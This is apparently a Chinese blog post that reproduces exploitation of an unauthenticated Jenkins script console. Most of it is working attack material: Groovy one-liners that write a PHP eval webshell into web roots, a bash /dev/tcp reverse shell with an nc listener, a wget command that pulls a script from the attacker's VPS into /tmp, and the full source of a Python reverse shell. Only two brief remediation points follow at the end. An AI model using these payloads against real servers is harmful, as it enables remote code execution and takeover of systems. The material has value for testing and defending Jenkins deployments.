• jenkins未授权访问


    一、漏洞描述

        未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。

    二、漏洞复现

        漏洞环境为XXXX的环境。

     

     我们直接来执行脚本这个地方先试试执行命令。

     可以看到成功执行,再来试试,上传一个木马:

    windows:  new File("D:\phpstudy_pro\WWW\test.php").write('<?php @eval($_POST[cmd]);?>');
    
    lnux:  new File("/var/www/html/test.php").write('<?php @eval($_POST[cmd]);?>');

    这里为lnux

     可以看到权限不允许。直接来一波反弹shell

    vps上执行 

    nc -Lvp 8089

    jenkins命令行执行 

    println 'bash -i >& /dev/tcp/127.0.0.1/8089 0>&1'.execute().text

     

    发现反弹失败。这时候莫慌,我们的写一个正向连接的脚本2.py,然后放在vps上,开一个python服务,用weget把我们的脚本放在一个可执行的目录下,这里我们选择/tmp下,然后去执行我们的脚本,让他连接我们的nc。

    然后去执行

    println 'wget http://127.0.0.1:8081/2.py -P /tmp/'.execute().text

     其中2.py内容为:

    #!/usr/bin/python
    # This is a Python reverse shell script
    
    import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("127.0.0.1",8089));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/sh","-i"]);

    这里是没有回显的,我们直接去看下有没有下载上,

    执行:

    println 'cat /tmp/2.py'.execute().text 

     接下来执行这个脚本,就可以获取shell了。

     

    三、漏洞修复

    1、禁止把Jenkins直接暴露在公网

    2、添加认证,设置强密码复杂度及账号锁定。

  • 相关阅读:
    redis后台启动配置
    Go匿名函数
    Java中的ExceptionInInitializerError异常及解决方法
    数据库备份工具mysqldump重要参数详解
    Nginx初识
    找不到或无法加载主类
    类加载机制与反射(二)
    JavaScript 数据结构与算法之美
    JavaScript 数据结构与算法之美
    JavaScript 数据结构与算法之美
  • 原文地址:https://www.cnblogs.com/xyz315/p/15089901.html
Copyright © 2020-2023  润新知